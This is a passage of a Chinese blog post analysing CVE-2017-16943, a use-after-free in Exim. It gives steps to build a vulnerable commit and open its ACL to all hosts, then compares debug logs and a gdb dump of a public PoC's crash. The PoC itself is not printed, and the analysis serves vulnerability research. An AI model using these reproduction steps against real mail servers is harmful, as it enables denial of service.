CVE-2017-16943 Exim UAF漏洞分析
感恩节那天,meh在Bugzilla上提交了一个exim的uaf漏洞:https://bugs.exim.org/show_bug.cgi?id=2199,这周我对该漏洞进行应急复现,却发现,貌似利用meh提供的PoC并不能成功利用UAF漏洞造成crash
漏洞复现
首先进行漏洞复现
环境搭建
复现环境:ubuntu 16.04 server
1 |
<ol class="linenums"><li class="L0"><code class="lang-bash"><span class="com"># 从github上拉取源码</span></code></li><li class="L1"><code class="lang-bash"><span class="pln">$ git clone https</span><span class="pun">://</span><span class="pln">github</span><span class="pun">.</span><span class="pln">com</span><span class="pun">/</span><span class="typ">Exim</span><span class="pun">/</span><span class="pln">exim</span><span class="pun">.</span><span class="pln">git</span></code></li><li class="L2"><code class="lang-bash"><span class="com"># 在4e6ae62分支修补了UAF漏洞,所以把分支切换到之前的178ecb:</span></code></li><li class="L3"><code class="lang-bash"><span class="pln">$ git checkout ef9da2ee969c27824fcd5aed6a59ac4cd217587b</span></code></li><li class="L4"><code class="lang-bash"><span class="com"># 安装相关依赖</span></code></li><li class="L5"><code class="lang-bash"><span class="pln">$ apt install libdb</span><span class="pun">-</span><span class="pln">dev libpcre3</span><span class="pun">-</span><span class="pln">dev</span></code></li><li class="L6"><code class="lang-bash"><span class="com"># 获取meh提供的Makefile文件,放到Local目录下,如果没有则创建该目录</span></code></li><li class="L7"><code class="lang-bash"><span class="pln">$ cd src</span></code></li><li class="L8"><code class="lang-bash"><span class="pln">$ mkdir </span><span class="typ">Local</span></code></li><li class="L9"><code class="lang-bash"><span class="pln">$ cd </span><span class="typ">Local</span></code></li><li class="L0"><code class="lang-bash"><span class="pln">$ wget </span><span class="str">"https://bugs.exim.org/attachment.cgi?id=1051"</span><span class="pln"> </span><span class="pun">-</span><span class="pln">O </span><span class="typ">Makefile</span></code></li><li class="L1"><code class="lang-bash"><span class="pln">$ cd </span><span class="pun">..</span></code></li><li class="L2"><code class="lang-bash"><span class="com"># 修改Makefile文件的第134行,把用户修改为当前服务器上存在的用户,然后编译安装</span></code></li><li class="L3"><code class="lang-bash"><span class="pln">$ make </span><span class="pun">&&</span><span class="pln"> make install</span></code></li></ol> |
然后再修改下配置文件/etc/exim/configure
文件的第364行,把accept hosts = :
修改成 accept hosts = *
PoC测试
从https://bugs.exim.org/attachment.cgi?id=1050获取到meh的debug信息,得知启动参数:
1 |
<ol class="linenums"><li class="L0"><code><span class="pln">$ </span><span class="pun">/</span><span class="pln">usr</span><span class="pun">/</span><span class="pln">exim</span><span class="pun">/</span><span class="pln">bin</span><span class="pun">/</span><span class="pln">exim </span><span class="pun">-</span><span class="pln">bdf </span><span class="pun">-</span><span class="pln">d</span><span class="pun">+</span><span class="pln">all</span></code></li></ol> |
PoC有两个:
需要先安装下pwntools,直接用pip装就好了,两个PoC的区别其实就是padding的长度不同而已
然后就使用PoC进行测试,发现几个问题:
- 我的debug信息在最后一部分和meh提供的不一样
- 虽然触发了crash,但是并不是UAF导致的crash
debug信息不同点比较:
1 |
<ol class="linenums"><li class="L0"><code><span class="com"># 我的debug信息</span></code></li><li class="L1"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">500</span><span class="pln"> unrecognized command</span></code></li><li class="L2"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun"><<</span><span class="pln"> BDAT </span><span class="lit">1</span></code></li><li class="L3"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> chunking state </span><span class="lit">1</span><span class="pun">,</span><span class="pln"> </span><span class="lit">1</span><span class="pln"> bytes</span></code></li><li class="L4"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> search_tidyup called</span></code></li><li class="L5"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">250</span><span class="pln"> </span><span class="lit">1</span><span class="pln"> </span><span class="kwd">byte</span><span class="pln"> chunk received</span></code></li><li class="L6"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> chunking state </span><span class="lit">0</span></code></li><li class="L7"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun"><<</span><span class="pln"> BDAT </span><span class="pun"></span></code></li><li class="L8"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> smtp_protocol_error MAIN</span></code></li><li class="L9"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP protocol error </span><span class="kwd">in</span><span class="pln"> </span><span class="str">"BDAT \177"</span><span class="pln"> H</span><span class="pun">=(</span><span class="pln">test</span><span class="pun">)</span><span class="pln"> </span><span class="pun">[</span><span class="lit">10.0</span><span class="pun">.</span><span class="lit">6.18</span><span class="pun">]</span><span class="pln"> missing size </span><span class="kwd">for</span><span class="pln"> BDAT command</span></code></li><li class="L0"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">501</span><span class="pln"> missing size </span><span class="kwd">for</span><span class="pln"> BDAT command</span></code></li><li class="L1"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> host </span><span class="kwd">in</span><span class="pln"> ignore_fromline_hosts</span><span class="pun">?</span><span class="pln"> </span><span class="kwd">no</span><span class="pln"> </span><span class="pun">(</span><span class="pln">option unset</span><span class="pun">)</span></code></li><li class="L2"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="pun">>></span><span class="typ">Headers</span><span class="pln"> received</span><span class="pun">:</span></code></li><li class="L3"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="pun">:</span></code></li><li class="L4"><code><span class="pun">...一堆不可显字符</span></code></li><li class="L5"><code><span class="pun">****</span><span class="pln"> debug </span><span class="kwd">string</span><span class="pln"> too </span><span class="kwd">long</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> truncated </span><span class="pun">****</span></code></li><li class="L6"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span></code></li><li class="L7"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> search_tidyup called</span></code></li><li class="L8"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="pun">>></span><span class="typ">Headers</span><span class="pln"> after rewriting </span><span class="kwd">and</span><span class="pln"> </span><span class="kwd">local</span><span class="pln"> additions</span><span class="pun">:</span></code></li><li class="L9"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="pun">:</span></code></li><li class="L0"><code><span class="pun">......一堆不可显字符</span></code></li><li class="L1"><code><span class="pun">****</span><span class="pln"> debug </span><span class="kwd">string</span><span class="pln"> too </span><span class="kwd">long</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> truncated </span><span class="pun">****</span></code></li><li class="L2"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span></code></li><li class="L3"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="typ">Data</span><span class="pln"> file name</span><span class="pun">:</span><span class="pln"> </span><span class="str">/var/</span><span class="pln">spool</span><span class="pun">/</span><span class="pln">exim</span><span class="com">//input//1eKcjF-00028V-5Y-D</span></code></li><li class="L4"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN</span></code></li><li class="L5"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP connection </span><span class="kwd">from</span><span class="pln"> </span><span class="pun">(</span><span class="pln">test</span><span class="pun">)</span><span class="pln"> </span><span class="pun">[</span><span class="lit">10.0</span><span class="pun">.</span><span class="lit">6.18</span><span class="pun">]</span><span class="pln"> lost </span><span class="kwd">while</span><span class="pln"> reading message data</span></code></li><li class="L6"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">421</span><span class="pln"> </span><span class="typ">Lost</span><span class="pln"> incoming connection</span></code></li><li class="L7"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN PANIC DIE</span></code></li><li class="L8"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> error</span><span class="pun">:</span><span class="pln"> store_reset</span><span class="pun">(</span><span class="lit">0x2443048</span><span class="pun">)</span><span class="pln"> failed</span><span class="pun">:</span><span class="pln"> pool</span><span class="pun">=</span><span class="lit">0</span><span class="pln"> smtp_in</span><span class="pun">.</span><span class="pln">c </span><span class="lit">841</span></code></li><li class="L9"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">421</span><span class="pln"> </span><span class="typ">Unexpected</span><span class="pln"> failure</span><span class="pun">,</span><span class="pln"> please </span><span class="kwd">try</span><span class="pln"> later</span></code></li><li class="L0"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN PANIC DIE</span></code></li><li class="L1"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> error</span><span class="pun">:</span><span class="pln"> store_reset</span><span class="pun">(</span><span class="lit">0x2443068</span><span class="pun">)</span><span class="pln"> failed</span><span class="pun">:</span><span class="pln"> pool</span><span class="pun">=</span><span class="lit">0</span><span class="pln"> smtp_in</span><span class="pun">.</span><span class="pln">c </span><span class="lit">841</span></code></li><li class="L2"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">421</span><span class="pln"> </span><span class="typ">Unexpected</span><span class="pln"> failure</span><span class="pun">,</span><span class="pln"> please </span><span class="kwd">try</span><span class="pln"> later</span></code></li><li class="L3"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN PANIC DIE</span></code></li><li class="L4"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> error</span><span class="pun">:</span><span class="pln"> store_reset</span><span class="pun">(</span><span class="lit">0x2443098</span><span class="pun">)</span><span class="pln"> failed</span><span class="pun">:</span><span class="pln"> pool</span><span class="pun">=</span><span class="lit">0</span><span class="pln"> smtp_in</span><span class="pun">.</span><span class="pln">c </span><span class="lit">841</span></code></li><li class="L5"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">421</span><span class="pln"> </span><span class="typ">Unexpected</span><span class="pln"> failure</span><span class="pun">,</span><span class="pln"> please </span><span class="kwd">try</span><span class="pln"> later</span></code></li><li class="L6"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN PANIC DIE</span></code></li><li class="L7"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> error</span><span class="pun">:</span><span class="pln"> store_reset</span><span class="pun">(</span><span class="lit">0x24430c8</span><span class="pun">)</span><span class="pln"> failed</span><span class="pun">:</span><span class="pln"> pool</span><span class="pun">=</span><span class="lit">0</span><span class="pln"> smtp_in</span><span class="pun">.</span><span class="pln">c </span><span class="lit">841</span></code></li><li class="L8"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">421</span><span class="pln"> </span><span class="typ">Unexpected</span><span class="pln"> failure</span><span class="pun">,</span><span class="pln"> please </span><span class="kwd">try</span><span class="pln"> later</span></code></li><li class="L9"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN PANIC DIE</span></code></li><li class="L0"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> error</span><span class="pun">:</span><span class="pln"> store_reset</span><span class="pun">(</span><span class="lit">0x24430f8</span><span class="pun">)</span><span class="pln"> failed</span><span class="pun">:</span><span class="pln"> pool</span><span class="pun">=</span><span class="lit">0</span><span class="pln"> smtp_in</span><span class="pun">.</span><span class="pln">c </span><span class="lit">841</span></code></li><li class="L1"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">421</span><span class="pln"> </span><span class="typ">Unexpected</span><span class="pln"> failure</span><span class="pun">,</span><span class="pln"> please </span><span class="kwd">try</span><span class="pln"> later</span></code></li><li class="L2"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN PANIC DIE</span></code></li><li class="L3"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> error</span><span class="pun">:</span><span class="pln"> store_reset</span><span class="pun">(</span><span class="lit">0x2443128</span><span class="pun">)</span><span class="pln"> failed</span><span class="pun">:</span><span class="pln"> pool</span><span class="pun">=</span><span class="lit">0</span><span class="pln"> smtp_in</span><span class="pun">.</span><span class="pln">c </span><span class="lit">841</span></code></li><li class="L4"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">421</span><span class="pln"> </span><span class="typ">Unexpected</span><span class="pln"> failure</span><span class="pun">,</span><span class="pln"> please </span><span class="kwd">try</span><span class="pln"> later</span></code></li><li class="L5"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN PANIC DIE</span></code></li><li class="L6"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> error</span><span class="pun">:</span><span class="pln"> store_reset</span><span class="pun">(</span><span class="lit">0x2443158</span><span class="pun">)</span><span class="pln"> failed</span><span class="pun">:</span><span class="pln"> pool</span><span class="pun">=</span><span class="lit">0</span><span class="pln"> smtp_in</span><span class="pun">.</span><span class="pln">c </span><span class="lit">841</span></code></li><li class="L7"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">421</span><span class="pln"> </span><span class="typ">Unexpected</span><span class="pln"> failure</span><span class="pun">,</span><span class="pln"> please </span><span class="kwd">try</span><span class="pln"> later</span></code></li><li class="L8"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN PANIC DIE</span></code></li><li class="L9"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> error</span><span class="pun">:</span><span class="pln"> store_reset</span><span class="pun">(</span><span class="lit">0x2443188</span><span class="pun">)</span><span class="pln"> failed</span><span class="pun">:</span><span class="pln"> pool</span><span class="pun">=</span><span class="lit">0</span><span class="pln"> smtp_in</span><span class="pun">.</span><span class="pln">c </span><span class="lit">841</span></code></li><li class="L0"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">16</span><span class="pun">:</span><span class="lit">20</span><span class="pln"> </span><span class="lit">8213</span><span class="pln"> child </span><span class="lit">8215</span><span class="pln"> ended</span><span class="pun">:</span><span class="pln"> status</span><span class="pun">=</span><span class="lit">0x8b</span></code></li><li class="L1"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">16</span><span class="pun">:</span><span class="lit">20</span><span class="pln"> </span><span class="lit">8213</span><span class="pln"> signal </span><span class="kwd">exit</span><span class="pun">,</span><span class="pln"> signal </span><span class="lit">11</span><span class="pln"> </span><span class="pun">(</span><span class="pln">core dumped</span><span class="pun">)</span></code></li><li class="L2"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">16</span><span class="pun">:</span><span class="lit">20</span><span class="pln"> </span><span class="lit">8213</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> SMTP accept processes now running</span></code></li><li class="L3"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">16</span><span class="pun">:</span><span class="lit">20</span><span class="pln"> </span><span class="lit">8213</span><span class="pln"> </span><span class="typ">Listening</span><span class="pun">...</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">--------------------------------------------</span></code></li><li class="L5"><code><span class="com"># meh的debug信息</span></code></li><li class="L6"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">500</span><span class="pln"> unrecognized command</span></code></li><li class="L7"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> SMTP</span><span class="pun"><<</span><span class="pln"> BDAT </span><span class="lit">1</span></code></li><li class="L8"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> chunking state </span><span class="lit">1</span><span class="pun">,</span><span class="pln"> </span><span class="lit">1</span><span class="pln"> bytes</span></code></li><li class="L9"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> search_tidyup called</span></code></li><li class="L0"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">250</span><span class="pln"> </span><span class="lit">1</span><span class="pln"> </span><span class="kwd">byte</span><span class="pln"> chunk received</span></code></li><li class="L1"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> chunking state </span><span class="lit">0</span></code></li><li class="L2"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> SMTP</span><span class="pun"><<</span><span class="pln"> BDAT </span><span class="pun"></span></code></li><li class="L3"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> smtp_protocol_error MAIN</span></code></li><li class="L4"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> SMTP protocol error </span><span class="kwd">in</span><span class="pln"> </span><span class="str">"BDAT \177"</span><span class="pln"> H</span><span class="pun">=(</span><span class="pln">test</span><span class="pun">)</span><span class="pln"> </span><span class="pun">[</span><span class="lit">127.0</span><span class="pun">.</span><span class="lit">0.1</span><span class="pun">]</span><span class="pln"> missing size </span><span class="kwd">for</span><span class="pln"> BDAT command</span></code></li><li class="L5"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">501</span><span class="pln"> missing size </span><span class="kwd">for</span><span class="pln"> BDAT command</span></code></li><li class="L6"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21719</span><span class="pln"> child </span><span class="lit">21724</span><span class="pln"> ended</span><span class="pun">:</span><span class="pln"> status</span><span class="pun">=</span><span class="lit">0x8b</span></code></li><li class="L7"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21719</span><span class="pln"> signal </span><span class="kwd">exit</span><span class="pun">,</span><span class="pln"> signal </span><span class="lit">11</span><span class="pln"> </span><span class="pun">(</span><span class="pln">core dumped</span><span class="pun">)</span></code></li><li class="L8"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21719</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> SMTP accept processes now running</span></code></li><li class="L9"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21719</span><span class="pln"> </span><span class="typ">Listening</span><span class="pun">...</span></code></li></ol> |
发现的确是抛异常了,但是跟meh的debug信息在最后却不一样,然后使用gdb进行调试,发现:
1 |
<ol class="linenums"><li class="L0"><code><span class="pln">RAX </span><span class="lit">0xfbad240c</span></code></li><li class="L1"><code><span class="pun">*</span><span class="pln">RBX </span><span class="lit">0x30</span></code></li><li class="L2"><code><span class="pun">*</span><span class="pln">RCX </span><span class="lit">0xffffffffffffffd4</span></code></li><li class="L3"><code><span class="pln"> RDX </span><span class="lit">0x2000</span></code></li><li class="L4"><code><span class="pun">*</span><span class="pln">RDI </span><span class="lit">0x2b</span></code></li><li class="L5"><code><span class="pun">*</span><span class="pln">RSI </span><span class="lit">0x4b7e8e</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> jae </span><span class="lit">0x4b7f04</span><span class="pln"> </span><span class="com">/* 'string.c' */</span></code></li><li class="L6"><code><span class="pun">*</span><span class="pln">R8 </span><span class="lit">0x0</span></code></li><li class="L7"><code><span class="pun">*</span><span class="pln">R9 </span><span class="lit">0x24</span></code></li><li class="L8"><code><span class="pun">*</span><span class="pln">R10 </span><span class="lit">0x24</span></code></li><li class="L9"><code><span class="pun">*</span><span class="pln">R11 </span><span class="lit">0x4a69e8</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> push rbp</span></code></li><li class="L0"><code><span class="pun">*</span><span class="pln">R12 </span><span class="lit">0x4b7e8e</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> jae </span><span class="lit">0x4b7f04</span><span class="pln"> </span><span class="com">/* 'string.c' */</span></code></li><li class="L1"><code><span class="pun">*</span><span class="pln">R13 </span><span class="lit">0x1a9</span></code></li><li class="L2"><code><span class="pun">*</span><span class="pln">R14 </span><span class="lit">0x24431b8</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L3"><code><span class="pun">*</span><span class="pln">R15 </span><span class="lit">0x5e</span></code></li><li class="L4"><code><span class="pun">*</span><span class="pln">RBP </span><span class="lit">0x2000</span></code></li><li class="L5"><code><span class="pun">*</span><span class="pln">RSP </span><span class="lit">0x7ffd75b862c0</span><span class="pln"> </span><span class="pun">—▸</span><span class="pln"> </span><span class="lit">0x7ffd75b862d0</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> </span><span class="lit">0xffffffffffffffff</span></code></li><li class="L6"><code><span class="pun">*</span><span class="pln">RIP </span><span class="lit">0x46cf1b</span><span class="pln"> </span><span class="pun">(</span><span class="pln">store_get_3</span><span class="pun">+</span><span class="lit">117</span><span class="pun">)</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> cmp qword ptr </span><span class="pun">[</span><span class="pln">rax </span><span class="pun">+</span><span class="pln"> </span><span class="lit">8</span><span class="pun">],</span><span class="pln"> rdx</span></code></li><li class="L7"><code><span class="pun">--------------</span></code></li><li class="L8"><code><span class="pln"> </span><span class="pun">></span><span class="pln"> </span><span class="lit">0x46cf1b</span><span class="pln"> </span><span class="pun"><</span><span class="pln">store_get_3</span><span class="pun">+</span><span class="lit">117</span><span class="pun">></span><span class="pln"> cmp qword ptr </span><span class="pun">[</span><span class="pln">rax </span><span class="pun">+</span><span class="pln"> </span><span class="lit">8</span><span class="pun">],</span><span class="pln"> rdx</span></code></li><li class="L9"><code><span class="pun">------------</span></code></li><li class="L0"><code><span class="pln"> </span><span class="typ">Program</span><span class="pln"> received signal SIGSEGV </span><span class="pun">(</span><span class="pln">fault address </span><span class="lit">0xfbad2414</span><span class="pun">)</span></code></li></ol> |
根本就不是meh描述的利用UAF造成的crash,继续研究,发现如果把debug all的选项-d+all
换成只显示简单的debug信息的选项-dd
,则就不会抛异常了
1 |
<ol class="linenums"><li class="L0"><code><span class="pln">$ sudo </span><span class="pun">./</span><span class="pln">build</span><span class="pun">-</span><span class="typ">Linux</span><span class="pun">-</span><span class="pln">x86_64</span><span class="pun">/</span><span class="pln">exim </span><span class="pun">-</span><span class="pln">bdf </span><span class="pun">-</span><span class="pln">dd</span></code></li><li class="L1"><code><span class="pun">......</span></code></li><li class="L2"><code><span class="pln"> </span><span class="lit">8266</span><span class="pln"> </span><span class="typ">Listening</span><span class="pun">...</span></code></li><li class="L3"><code><span class="pln"> </span><span class="lit">8268</span><span class="pln"> </span><span class="typ">Process</span><span class="pln"> </span><span class="lit">8268</span><span class="pln"> </span><span class="kwd">is</span><span class="pln"> handling incoming connection </span><span class="kwd">from</span><span class="pln"> </span><span class="pun">[</span><span class="lit">10.0</span><span class="pun">.</span><span class="lit">6.18</span><span class="pun">]</span></code></li><li class="L4"><code><span class="pln"> </span><span class="lit">8266</span><span class="pln"> child </span><span class="lit">8268</span><span class="pln"> ended</span><span class="pun">:</span><span class="pln"> status</span><span class="pun">=</span><span class="lit">0x0</span></code></li><li class="L5"><code><span class="pln"> </span><span class="lit">8266</span><span 